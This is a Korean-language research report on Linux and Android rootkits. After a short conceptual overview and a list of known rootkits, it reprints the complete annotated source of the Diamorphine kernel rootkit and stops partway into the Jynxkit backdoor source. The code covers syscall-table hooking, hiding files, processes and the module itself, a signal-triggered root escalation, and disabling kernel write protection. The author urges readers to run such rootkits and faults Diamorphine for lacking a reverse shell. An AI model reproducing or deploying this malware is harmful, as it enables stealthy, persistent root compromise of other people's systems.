리눅스 기반 루트킷 연구 보고서

저자: 정경주 (해커 아이디: x90c)
저자 이-메일: x90cx90c1@gmail.com
작성년도: 2023년

목 차

- 제 트위터: http://www.twitter.com/@blackngel123

1. 루트킷 개념

루트킷(rootkit)은 해커가 네트워크를 통해서 시스템에 침입한 후 다음 접속을 쉽게 하기 위해서 root 계정의 패스워드와 상관없이 접속해 시스템에 다시 침입하기 위해서 만들어진 악성 코드(malware) 중 하나의 타입을 의미합니다.

루트킷은 사용자 영역의 루트킷과 커널 루트킷이 있는데, 커널 루트킷은 교묘하게 설치되면 시스템을 재설치해야 될 정도로 탐지가 어렵기 때문에 최신 기법의 커널 루트킷이 해커들에게 있어서 관심 사항이 되어 왔고, 연구 영역의 하나입니다.

루트킷은 백도어와는 달리 악의를 가지고 접속한 해커에게 여러 가지 편리한 수퍼 유저(root)의 기능들을 제공하는데, 1) 키로깅 2) 백도어(루트쉘) 3) 해커 통신 숨기기(covert channel) 4) 침입 스텔스(로그 감추기, 침입 탐지 감추기) 5) 시스템 동작 조작 과 같은 5가지 정도의 기능들이 있습니다.

2. 사용자 루트킷 versus 커널 루트킷

사용자 영역의 루트킷은 사용자 영역에서만 동작하고 chkrootkit 또는 rootkit hunter와 같은 리눅스 바이너리 루트킷 탐지 도구에 의해 파일명이 설치되어 있는지 만을 검사해줘서 쉽게 서버 시스템 관리자나 보안 담당자에게 발각됩니다. 따라서 스텔스(stealth) 기능이 없다는 단점이 있어, 해커들은 스텔스 기능이 잘 동작하는 시스템 호출이나 커널 자원 단에서 해커의 동작을 암호화 하는 방법으로 숨기거나 하는 트릭을 포함하는 커널 루트킷을 선호하는 경향이 다수입니다.

*** 참고.** 훌륭한 해커가 되고 싶으시다면 본 연구 보고서를 탐독하셔서 리눅스와 윈도우 커널 루트킷에 대해서 연구를 꾸준히 해보시는 것을 추천드립니다.

3. 리눅스 루트킷의 종류

adore, adore-ng	가장 많은 릴리즈를 통해 인기있는 유저랜드 루트킷
suckit	/dev/kmem을 통해 동작하는 리눅스 커널 기반 루트킷 중 하나로 프랙 이슈 58, 아티클 0x07를 통해 sd와 devik이라는 두 해커에 의해 릴리즈되었음
phalanx	x90c(본 보고서 저자)이 설계하고 그의 친구인 스웨덴 글로벌 유명 해커 rebel이 개발한 rebel의 코드로, /dev/mem 메모리 장치를 이용해 실 메모리에 접근해 IDT(인터럽트 디스크립터 테이블)을 후킹하여 시스템 콜을 후킹하는 방법으로 동작하는 비-LKM 계열 커널 루트킷임. 유저레벨 루트킷

	으로 보이지만 커널 루트킷임
Jynx-Kit	LD_PRELOAD 환경 변수를 통해서 공유 라이브러리로된 유저랜드 프리 로드 라이브러리를 조작해서 백도어로 동작하는 유저랜드 루트킷임.
Kbeast	고정된 시스템콜 테이블 주소를 통해 시스템 콜을 후킹하는 함수로 여러 가지 LKM 커널 기반 루트킷의 구현을 보여줌.
Enye	IDT를 구하고, 시스템 콜 테이블 주소를 구해서 시스템 콜 함수들을 후킹해서 동작하는 메커니즘을 사용하는 커널 기반 루트킷 LKM 임.
StMichael	extern 광역 변수 선언을 통해 커널이 sys_call_table[](배열 변수)를 내보낸 경우(export) 이것을 로드해서 사용하도록 동작하는 약간은 불안정해 보이는 방법을 사용한 코드의 리눅스 커널 기반 루트킷 LKM 임. 브라질 해커 BSDaemon의 프로젝트임.

- **참고:** 주요 리눅스 커널 루트킷을 포함해 유저랜드 루트킷을 소개 했습니다. 이 정도 알고 계시고 필요하시다면, 추가적 자료를 서핑하셔서 코드 분석을 좀 해 보시고 동작시켜 보시면 좋겠습니다.

4. 안드로이드 스마트폰 적용 루트킷 이해

[3]의 get_sys_call_table 함수 코드

```
/* Get the address of sys_call_table as a pointer. All further references are through
indexing this pointer */
void get_sys_call_table(){
        // Interrupt tables are loaded in high memory in android starting at 0xffff0000
        // 안드로이드 안의 상위 메모리 안의 인터럽트 테이블은 0xffff0000에서 시작됨
       // (1) 우선 swi(알려진 소프트웨어 인터럽트 핸들러, 테이블) 주소는 0xffff0008로 정해져
있습니다.
        void *swi_table_addr=(long *)0xffff0008; // Known address of Software Interrupt
handler
        unsigned long offset_from_swi_vector_adr=0;
        unsigned long *swi_vector_adr=0;

    // (2) swi 벡터 주소의 오프셋은 swi 테이블의 맨 마지막 12비트에 +8을 더한 값임.
        offset_from_swi_vector_adr=((*(long *)swi_table_addr)&0xfff)+8;

    // (3) swi 벡터 주소는 swi 테이블 주소 + 구해진 오프셋
        swi_vector_adr=*(unsigned long *)(swi_table_addr+offset_from_swi_vector_adr);

        // swi 벡터 주소를 엔터티 1씩 증가하면서
        // swi 벡터의 상위 20비트가 0xe28f8000이면 0xe28f8000이 인터럽트 공간의
        // 끝이므로, swi 벡터 주소 + 오프셋을 더해서 sys_call_table 배열(포인터)
```

```
        //를 구함! (참고: 정해진 주소 값이 있어서 swi 관련 주소를 통해 시스템 콜
        //을 구하는게 리눅스와는 다른 부분입니다. 물론 이 주소들은 gdb 디버거
        // 상에서 x86이 아니라 ARM이라는 어셈블리어 문법을 써죠.
         while(swi_vector_adr++){
                if(((*(unsigned long *)swi_vector_adr)&0xfffff000)==0xe28f8000){ // Copy
the entire sys_call_table from the offset_from_swi_vector_adr starting the hardware
interrupt table
                        offset_from_swi_vector_adr=((*(unsigned long
*)swi_vector_adr)&0xfff)+8;              // 0xe28f8000 is end of interrupt space. Hence we
stop.

                        sys_call_table=(void
*)swi_vector_adr+offset_from_swi_vector_adr;
                        break;
                }
         }
         return;
}
```

이제 안드로이드 커널 루트킷이 swi 테이블, swi 벡터, swi 벡터 오프셋 이 3가지가 값들로써 구해지는 (void *) sys_call_table을 통해서 리눅스 커널에서의 커널 시스템 콜 테이블 후킹과 동일한 방법으로 동작한다는 것을 알 수 있습니다.

5. 루트킷 코드 분석

5.1 Diamorphine 리눅스 커널 루트킷 코드 분석

첫째) 대략적 분석 둘째) 상세 분석 2단계로 분석했고 셋째) 코드 정리를 통해서 이해를 쉽게 할 수 있도록 하는 내용을 첨가했습니다.

다이아모르핀 커널 루트킷은 4.13.0 ~ 2.6.18, 4.13 이후 커널 버전대를 지원합니다.

https://raw.githubusercontent.com/m0nad/Diamorphine/master/diamorphine.h

```
struct linux_dirent { // 리눅스 디렉토리 엔트리 구조
        unsigned long   d_ino; // inode 번호
        unsigned long   d_off; // 다음 linux_dirent에 대한 오프셋
        unsigned short  d_reclen; // 이 linux_dirent의 길이
        char            d_name[1]; // 파일명 (널 터미네이트로 끝남.) - 1바이트이므로, 파일명
이 쓰이지 않음
};

#define MAGIC_PREFIX "diamorphine_secret" // 숨길 파일(디렉토리)의 파일명 일부 조각

#define PF_INVISIBLE 0x10000000 // 숨겨진 프로세스 여부를 나타내는 프로세스 플래그 값
```

```
#define MODULE_NAME "diamorphine"

enum {
        SIGINVIS = 31, // 감추기 시그날
        SIGSUPER = 64, // 수퍼유저 시그날
        SIGMODINVIS = 63, // 나타내기 시그날
};

#ifndef IS_ENABLED
#define IS_ENABLED(option) \
(defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) // 커널 버전 5.7 이상일 때
#define KPROBE_LOOKUP 1 // KPROBE_LOOKUP을 1로 설정하고, linux/kprobes.h를 선언
#include <linux/kprobes.h>
static struct kprobe kp = { // 정적으로 kprobe 구조를 kp로 선언하고 심볼명을 설정.
            .symbol_name = "kallsyms_lookup_name"
};
#endif
```

https://raw.githubusercontent.com/m0nad/Diamorphine/master/diamorphine.c

```
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h>

// 커널 버전대 별 선언해야 하는 하는 헤더파일이 다름.
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0)
#include <asm/uaccess.h>
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
#include <linux/proc_ns.h>
#else
#include <linux/proc_fs.h>
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
#include <linux/file.h>
#else
#include <linux/fdtable.h>
#endif
```

```
#if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18)
#include <linux/unistd.h>
#endif

#ifndef __NR_getdents
#define __NR_getdents 141 // __NR_getedents 값을 141로 설정 (시스템 콜 중 하나)
#endif

#include "diamorphine.h" // diamorphine.h 사용자 정의 헤더 파일 선언

// 본 루트킷은 x86, x86_64, ARM64 3개의 CPU 아키텍처를 지원함.
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
unsigned long cr0; // cr0 변수 (32비트 임)
#elif IS_ENABLED(CONFIG_ARM64)
void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size,
pgprot_t prot);
unsigned long start_rodata; // start_rodata 메모리 시작 지점
unsigned long init_begin; // init_begin 메모리 시작 지점
#define section_size init_begin - start_rodata // 섹션 길이 = init_begin - stsrt_rodata
#endif
static unsigned long *__sys_call_table; // __sys_call_table 정적 포인터 변수 선언.
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) // 4.16 버전 이상일 때 변수 일부
선언
        typedef asmlinkage long (*t_syscall)(const struct pt_regs *);
        static t_syscall orig_getdents;
        static t_syscall orig_getdents64;
        static t_syscall orig_kill;
#else
        typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
                unsigned int);
        typedef asmlinkage int (*orig_getdents64_t)(unsigned int,
                struct linux_dirent64 *, unsigned int);
        typedef asmlinkage int (*orig_kill_t)(pid_t, int);
        orig_getdents_t orig_getdents;
        orig_getdents64_t orig_getdents64;
        orig_kill_t orig_kill;
#endif

// get_syscall_table_bf:
// 시스템 콜 테이블 찾는 함수
unsigned long *
get_syscall_table_bf(void)
{
        unsigned long *syscall_table;
```

```
// 커널 버전이 4.4보다 높은 버전대 일 시,
// KPROBE_LOOKUP이 선언되었으면, kprobe를 등록하고 kp.addr을 통해
// kallsyms_lookup_name 커널 개체 함수 주소를 구하고, 아닌 경우에는 기본적으로
// 이 값이 구해져 있으므로 다른 동작을 수행하지 않음.
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0)
#ifdef KPROBE_LOOKUP
        typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
        kallsyms_lookup_name_t kallsyms_lookup_name;
        register_kprobe(&kp); // register_kprobe로 &kp로 kprobe 등록.
        kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; // kp.addr로 개체 구
함
        unregister_kprobe(&kp); // kp 해제
#endif
       // syscall_table = sys_call_table 커널 심볼 개체의 주소를 구함.
        syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
        return syscall_table; // 구한 시스템 콜 테이블 주소를 반환.
#else
 // 4.4 이하 버전 대 일 시,
        unsigned long int i;
       // sys_close를 초기 값으로 ULONG_MAX까지 엔터티를 반복
        for (i = (unsigned long int)sys_close; i < ULONG_MAX;
                        i += sizeof(void *)) {
                syscall_table = (unsigned long *)i; // syscall_table = I(엔터티)

               // syscall_table[__NR_close]가 sys_close로 시스템 콜 주소 시작
               // 점을 찾으면 syscall_table 포인터를 반환.
                if (syscall_table[__NR_close] == (unsigned long)sys_close)
                        return syscall_table;
        }
        return NULL; // 못 찾으면, NULL을 반환
#endif
}

// find_task
// 인자로 전달된 pid(프로세스 식별자)의 task_struct 구조체 개체를 찾아 반환하는 코드
struct task_struct *
find_task(pid_t pid)
{
        struct task_struct *p = current;
        for_each_process(p) {
                if (p->pid == pid)
                        return p;
        }
        return NULL;
```

```
}

// is_invisible
// 인자로 받은 pid(프로세스 식별자)의 프로세스가 있을 시
// task->flags가 PF_INVISIBLE(보이지 않음) 설정이 되었을 시에 1을 반환함.
// = 숨겨진 프로세스인지 검사하는 코드
int
is_invisible(pid_t pid)
{
        struct task_struct *task;
        if (!pid)
                return 0;
        task = find_task(pid); // 태스크(프로세스) 찾기
        if (!task)
                return 0;
        if (task->flags & PF_INVISIBLE) // 숨겨진 프로세스면 1을 반환
                return 1;
        return 0; // 아니면 1을 반환
}

// hacked_getdents64
// getedents64 시스템 호출을 후킹하는 코드

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {

// x86, x86 64비트 중 하나 일 시
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        // pt_regs->si로 dirent 구조 포인터를 구함
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64) // ARM64비트 일 시
        int fd = (int) pt_regs->regs[0];

        // pt_regs->regs[1]으로 dirent 구조 포인터를 구함.
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents64(pt_regs), err;

#else // 커널 버전이 4.16 이하일 때,
// dirent 포인터를 구하기 위한 다른 작업이 요구되지 않음.
asmlinkage int
hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent,
        unsigned int count)
{
```

```
        int ret = orig_getdents64(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent64 *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;

        // kdirent = orig_getedents64 호출후 반환된 문자열을 저장할
        // 필요한 만큼의 메모리 할당
        kdirent = kzalloc(ret, GFP_KERNEL);
        if (kdirent == NULL)
                return ret;

        // dirent를 kdirent로 ret 길이만큼 복사.
        err = copy_from_user(kdirent, dirent, ret);
        if (err)
                goto out;

   // 커널 버전이 3.19 이전일 때, d_inode는
   //  current->files->fdt[fd[fd]->f_dentry->d_inode 이고
   // 아닐 시,
   //  current->files->fdt->fd[fd]->f_path.dentry->d_node입니다.
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
        d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
        d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif

        // d_inode->i_ino가 PROC_ROOT_INO(루트 inode) 이고, d_inode->i_rdev가 MAJOR
가 아닐 시
       // pROC = 1 설정.
        if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
                /*&& MINOR(d_inode->i_rdev) == 1*/)
                proc = 1;

        // 디렉토리나 파일을 보이게 하고 숨기는 기능을 하는 후킹 코드임.
        while (off < ret) {
                dir = (void *)kdirent + off;
                if ((!proc &&
                (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
                || (proc &&
                is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
```

```
                        if (dir == kdirent) {
                                ret -= dir->d_reclen;
                                memmove(dir, (void *)dir + dir->d_reclen, ret);
                                continue;
                        }
                        prev->d_reclen += dir->d_reclen;
                } else
                        prev = dir;
                off += dir->d_reclen;
        }
        // 정리된 kdirent를 ret 길이 만큼 dirent(유저랜드 메모리)로 복사
        err = copy_to_user(dirent, kdirent, ret);
        if (err)
                goto out;
out:
        kfree(kdirent); // kdirent 커널 메모리 해제
        return ret; // 복사한 바이트 길이 반환
}

// hacked_getdents
// 32비트용 getedents 시스템 호출 후킹 코드
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        int fd = (int) pt_regs->di;
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
                int fd = (int) pt_regs->regs[0];
        struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
        int ret = orig_getdents(pt_regs), err;
#else
asmlinkage int
hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
        unsigned int count)
{
        int ret = orig_getdents(fd, dirent, count), err;
#endif
        unsigned short proc = 0;
        unsigned long off = 0;
        struct linux_dirent *dir, *kdirent, *prev = NULL;
        struct inode *d_inode;

        if (ret <= 0)
                return ret;
```

```
	kdirent = kzalloc(ret, GFP_KERNEL);
	if (kdirent == NULL)
		return ret;

	err = copy_from_user(kdirent, dirent, ret);
	if (err)
		goto out;

#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
	d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
#else
	d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
#endif

	if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev)
		/*&& MINOR(d_inode->i_rdev) == 1*/)
		proc = 1;

	while (off < ret) {
		dir = (void *)kdirent + off;
		if ((!proc &&
		(memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
		|| (proc &&
		is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
			if (dir == kdirent) {
				ret -= dir->d_reclen;
				memmove(dir, (void *)dir + dir->d_reclen, ret);
				continue;
			}
			prev->d_reclen += dir->d_reclen;
		} else
			prev = dir;
		off += dir->d_reclen;
	}
	err = copy_to_user(dirent, kdirent, ret);
	if (err)
		goto out;
out:
	kfree(kdirent);
	return ret;
}

// give_root
//  current->uid euid suid fsuid
```

```
//            gid egid sgid fsgid를 0으로 설정해서 nullify하는 코드
void
give_root(void)
{
        #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
                current->uid = current->gid = 0;
                current->euid = current->egid = 0;
                current->suid = current->sgid = 0;
                current->fsuid = current->fsgid = 0;
        #else // 커널 2.6.29 이상의 버전에서는 cred 구조에 prepare_creds()로 구조를 받아서
             // commit_creds로 프로세스에 대한 새 크리덴셜을 커널에 적용을 요청해야 함.
                struct cred *newcreds;
                newcreds = prepare_creds();
                if (newcreds == NULL)
                        return;
                #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \
                        && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \
                        || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
                        newcreds->uid.val = newcreds->gid.val = 0;
                        newcreds->euid.val = newcreds->egid.val = 0;
                        newcreds->suid.val = newcreds->sgid.val = 0;
                        newcreds->fsuid.val = newcreds->fsgid.val = 0;
                #else
                        newcreds->uid = newcreds->gid = 0;
                        newcreds->euid = newcreds->egid = 0;
                        newcreds->suid = newcreds->sgid = 0;
                        newcreds->fsuid = newcreds->fsgid = 0;
                #endif
                commit_creds(newcreds);
        #endif
}

// tidy
// 모듈 섹션 (THIS_MODULE)->sect_attrs를 kfree로 메모리 해제하고, NULL로 초기화하는 코드
static inline void
tidy(void)
{
        kfree(THIS_MODULE->sect_attrs);
        THIS_MODULE->sect_attrs = NULL;
}

static struct list_head *module_previous;
static short module_hidden = 0;
// 모듈을 보이게 하는 기능
void
```

```
module_show(void)
{
        list_add(&THIS_MODULE->list, module_previous); // 저장했던 module_previous 모듈을 THIS_MODULE->list(리스트)에 추가
        module_hidden = 0; // 모듈 숨겨진 플래그 변수를 클리어 함.
}

// 모듈을 숨기는 하이딩 기능
void
module_hide(void)
{
        module_previous = THIS_MODULE->list.prev; // THIS_MODULE->list.prev(이전 모듈)을 module_previous에 설정
        list_del(&THIS_MODULE->list); // 현재 모듈을 리스트에서 제거
        module_hidden = 1; // module_hidden(모듈 숨겨짐 플래그 변수) 켬.
}

#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
asmlinkage int
hacked_kill(const struct pt_regs *pt_regs)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        pid_t pid = (pid_t) pt_regs->di;
        int sig = (int) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
        pid_t pid = (pid_t) pt_regs->regs[0];
        int sig = (int) pt_regs->regs[1];
#endif
#else
asmlinkage int
hacked_kill(pid_t pid, int sig)
{
#endif
        struct task_struct *task;
        switch (sig) {
                case SIGINVIS: // SIGINVIS (태스크 숨기기)
                        if ((task = find_task(pid)) == NULL)
                                return -ESRCH;
                        task->flags ^= PF_INVISIBLE;
                        break;
                case SIGSUPER: // SIGUSER(루트쉘 획득)
                        give_root();
                        break;
                case SIGMODINVIS: // SIGMODINVIS(모듈 보이기)
                        if (module_hidden) module_show();
```

```
                        else module_hide();
                        break;
                default: // 다른 시그날들은 후킹하지 않고 원본 kill 시스템콜 함수 호출함.
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
                        return orig_kill(pt_regs);
#else
                        return orig_kill(pid, sig);
#endif
        }
        return 0;
}

// 커널 버전 4.16 이전 버전대에서는 write_cr0 커널 개체가 있어서 그것으로 cr0 레지스터의
// WP 플래그 비트를 설정하고 해제할 수 있다. 그 이후 버전에서는 사용할 수 없기 때문에
// 아래의 write_cr0_force() 함수로 인라인 어셈블 코드를 통해서 직접 구현해서 써야 하고
// 코딩되어 있음!
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static inline void
write_cr0_forced(unsigned long val)
{
        unsigned long __force_order;

        asm volatile(
                "mov %0, %%cr0"
                : "+r"(val), "+m"(__force_order));
}
#endif

// protect_memory
//   cr0 변수를 write_cr0_force 또는 write_cr0에 인자로 전달해서 메모리 보호를 잠그는 코드
static inline void
protect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0);
#else
        write_cr0(cr0);
#endif
// ARM64 아키텍쳐의 경우는 update_mapping_prot로 start_rodata부터, section_size(섹션 길
이)까지 PAGE_KERNEL_RO(읽기 전용 커널 페이지)로 설정해서 페이지(메모리를 의미) 잠금.
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                        section_size, PAGE_KERNEL_RO);
```

```
#endif
}

// unprotect_memory:
//   후킹을 위해서 메모리 보호를 해제하는 함수
static inline void
unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
// 커널 버전 4.16 보다 높은 버전일시 write_cr0_forced가 쓰이고, 아닐 시에는 write_cr0가 쓰임.
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        write_cr0_forced(cr0 & ~0x00010000); // WP(Write Protection, 쓰기 방어) 비트 플래그 해제.
#else
        write_cr0(cr0 & ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
                            section_size,       PAGE_KERNEL);       //       PAGE_KERNEL로 PAGE_KERNEL_RO가 아닌 값을 설정해서 페이지에 쓰기 접근이 가능하도록 변경.
#endif
}

// 엔트리 포인트: 모듈 초기화 함수
static int __init
diamorphine_init(void)
{
        // (1) __sys_call_table = 시스템 콜 테이블을 얻음.
        __sys_call_table = get_syscall_table_bf();
        if (!__sys_call_table)
                return -1;

       // x86 또는 x86 64비트 일 경우에는 read_cr0 함수로 cr0 레지스터 값을 구하고
       // ARM64의 경우에는 커널 심볼 개체 중에 update_mapping_prot, __start_rodata, __init_begin 3개의 개체 포인터를 구함.
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
        cr0 = read_cr0(); // cr0 레지스터 값 구함
#elif IS_ENABLED(CONFIG_ARM64)
        update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
        start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
        init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
#endif

        module_hide(); // 모듈 숨김
        tidy(); // 모듈 섹션 속성 해제
```

```
// 원본 시스템 콜 개체 함수 백업
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
        orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
        orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
        orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
        orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
        orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
        orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif

        // 메모리 보호 해제
        unprotect_memory();

        // 시스템 콜 3개 후킹해서 후킹 함수 설정
        __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

        // 메모리 보호
        protect_memory();

        return 0;
}

// 모듈 클린업 함수
static void __exit
diamorphine_cleanup(void)
{
        // 메모리 보호 해제
        unprotect_memory();

        // 시스템 콜 복구
        __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
        __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
        __sys_call_table[__NR_kill] = (unsigned long) orig_kill;

        // 메모리 보호
        protect_memory();
}

module_init(diamorphine_init);
module_exit(diamorphine_cleanup);
```

```
MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("m0nad");
MODULE_DESCRIPTION("LKM rootkit");
```

분석해 본 리눅스 커널 루트킷은 cr0(제어 레지스터)의 WP 플래그 비트를 끄고, 시스템 콜 테이블의 주소를 구해서 시스템 콜을 후킹하고, hacked_* 해커의 함수를 시스템 콜 3개로 변경해 동작하게 했습니다. 또한 모듈 자체를 숨김으로써 시스템 관리자에게 들키지 않게 숨기는 기능도 포함하고 있었습니다.

또한 ARM64를 지원해서 스마트 장치에서도 동작할 수 있어서 발전적인 기능을 추가적으로 개발해 나갈 수도 있습니다. 시스템 콜 테이블 포인터를 찾는데는 kallsyms_lookup_name 커널 개체가 쓰이는데, KPROBE를 지원하는 경우에는 kp.addr을 통해서 kallsyms_lookup_name 개체를 얻는 방법으로 좀 더 최신 버전에서도 동작하는 시스템 콜 테이블 얻기가 가능해서, kallsyms_lookup_name이 바로 사용하는 것이 지원하지 않는 최신 버전에서도 동작하는 가용성을 갖고 있었습니다.

2가지 장점, ARM64 지원, KPROBE를 통한 kp.addr로 kallsyms_lookup_name 커널 개체를 구해서 시스템 콜 테이블을 구할수 있다는 점을 알 수 있습니다.
단점은 기능이 단순해서 암호화 채널이나 리버스 쉘과 같은 것이 지원되지 않는다는 점과 2.4 커널은 지원하지 않는다는 2가지 사항입니다. 조금 더 기능적으로 개선되어 릴리즈된다면 개발이 보충되면 좋은 것으로 생각됩니다.

5.2 Jynxkit 리눅스 유저랜드 루트킷 코드 분석

리눅스에는 LD_PRELOAD라는 환경변수가 있는데 이 환경 변수는 .so 확장자의 공유 라이브러리를 로드해서 실행하는 프로그램들이 해당 공유 라이브러리에 사용자 커스톰으로 구현된 API 함수를 사용하도록 허용하고 있습니다. 즉 유저랜드 후킹을 의미합니다. 이것을 통해서 여러 가지 리눅스 사용자 영역 루트킷을 구현할 수가 있는데, 그 루트킷 중 대표적인 것이 Jynxkit입니다.

본 문에서는 Jynxkit의 중요 코드를 대략적으로 분석해 보고 또 가능하다면 동작을 테스트해서 시연해 보도록 하겠습니다.

```
https://raw.githubusercontent.com/chokepoint/jynxkit/master/config.h
#ifndef CONFIG_H
```

```
#define CONFIG_H

#define MAGIC_DIR "xochi"
#define MAGIC_GID 90
#define CONFIG_FILE "ld.so.preload"

#define APP_NAME "bc"
#define MAGIC_ACK 0xdead
#define MAGIC_SEQ 0xbeef

//#define DEBUG

#endif
```

https://raw.githubusercontent.com/chokepoint/jynxkit/master/bc.c

```
/*
 * bc
 *
 ******************************************************************************
 *
 * Example compiler command-line for GCC:
 *    gcc -Wall -o bc bc.c -lpcap -lssl
 *
 ******************************************************************************
 *
 */

#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

#include "config.h"

/* default snap length (maximum bytes per packet to capture) */
// 캡쳐 할 패킷의 최대 바이트 스냅 길이는 1518바이트.
#define SNAP_LEN 1518
```

```
/* ethernet headers are always exactly 14 bytes [1] */
// 이더넷 헤더 길이는 항상 14바이트임 [1]
#define SIZE_ETHERNET 14

// 이더넷 주소는 6바이트.
/* Ethernet addresses are 6 bytes */
#define ETHER_ADDR_LEN6


/* Ethernet header */
// 이더넷 헤더
struct sniff_ethernet {
        u_char  ether_dhost[ETHER_ADDR_LEN];    /* destination host address */
        u_char  ether_shost[ETHER_ADDR_LEN];    /* source host address */
        u_short ether_type;                     /* IP? ARP? RARP? etc */
};

/* IP header */
// IP 헤더
struct sniff_ip {
        u_char  ip_vhl;                 /* version << 4 | header length >> 2 */
        u_char  ip_tos;                 /* type of service */
        u_short ip_len;                 /* total length */
        u_short ip_id;                  /* identification */
        u_short ip_off;                 /* fragment offset field */
        #define IP_RF 0x8000            /* reserved fragment flag */
        #define IP_DF 0x4000            /* dont fragment flag */
        #define IP_MF 0x2000            /* more fragments flag */
        #define IP_OFFMASK 0x1fff       /* mask for fragmenting bits */
        u_char  ip_ttl;                 /* time to live */
        u_char  ip_p;                   /* protocol */
        u_short ip_sum;                 /* checksum */
        struct  in_addr ip_src,ip_dst;  /* source and dest address */
};
// IP_HL은 인자로 받은 ip 헤더 구조의 ip_vhl >> 2위치에 헤더 길이를 꺼냄.
// IP_V는 ip->vhl >> 4를 통해 상위 3바이트 위치에서 버전을 구함.
#define IP_HL(ip)               (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip)                (((ip)->ip_vhl) >> 4)

/* TCP header */
// TCP 헤더
typedef u_int tcp_seq;

struct sniff_tcp {
